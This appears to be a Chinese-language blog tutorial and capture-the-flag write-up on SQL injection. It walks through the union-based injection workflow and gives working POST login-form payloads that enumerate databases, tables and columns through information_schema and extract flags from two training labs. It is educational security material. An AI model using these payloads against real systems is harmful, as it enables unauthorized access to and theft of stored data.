SQL注入-POST注入
【摘要】 知识梳理SQL注入原理:用户输入的数据可以被拼接到原有代码执行SQL注入基本流程:(1). 判断注入点,例:数字型:id=1 and 1=1 页面正常id=1 and 1=2页面不正常;字符型:单双引号、括号闭合,观察页面是否正常;使用sleep()观察页面是否存在延迟;(2)猜解字段数,例:and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数(3)查看显错点and ...
知识梳理
- SQL注入原理:用户输入的数据可以被拼接到原有代码执行
- SQL注入基本流程:
- (1). 判断注入点,例:
数字型:id=1 and 1=1
页面正常id=1 and 1=2
页面不正常;
字符型:单双引号、括号闭合,观察页面是否正常;
使用sleep()观察页面是否存在延迟; - (2)猜解字段数,例:
and 1=2 order by 1,2,3
通过观察页面是否正常来确定字段数 - (3)查看显错点
and 1=2 union select 1,2,3
通过发现显错位置可以知道在哪里输出想要的信息 - (4)查询库名、表名、字段名、字段内容
可以通过查询系统自带库information_schema来获取想要的内容。
-查询库名union select 1,2,database()
-查询表名union select 1,2,table_name from information_schema.tables where table_schema = database()
-查询字段名union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
-查询字段内容union select 1,column1,column2 from table_name limit 0,1
group_concat可以将多行数据整合到一行输出union select 1,2,group_concat(flag) from TABLE_NAME
靶场演示
POST注入靶场一
1. 判断注入点
尝试万能密码登陆成功,判断存在POST注入
2. 查询字段数
'or 1=1 order by 1,2,3..#
判断字段数
判断字段数为3个
3. 判断显错位置
'or 1=2 union select 1,2,3 #
判断注入点(因为用户名可能存在字数现在,所以选择在密码栏中进行注入)
4. 查询库名
'or 1=2 union select 1,2,database() #
查询库名
5. 查询表名
'or 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
6. 查询字段名
猜测flag在flag表中'or 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag' #
7. 查询字段内容
'or 1=2 union select 1,2,group_concat(flag) from flag #
flag为:zKaQ-PostK1
显错注入靶场二
第二题于第一题区别在于闭合不通这里不做过多描述直接结果截图。")or 1=2 union select 1,2,group_concat(flag) from flag #
最后正确的flag是:zKaQ-XZT
作者:虚晃一枪骗过上帝
链接:https://www.jianshu.com/p/d40145175559
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)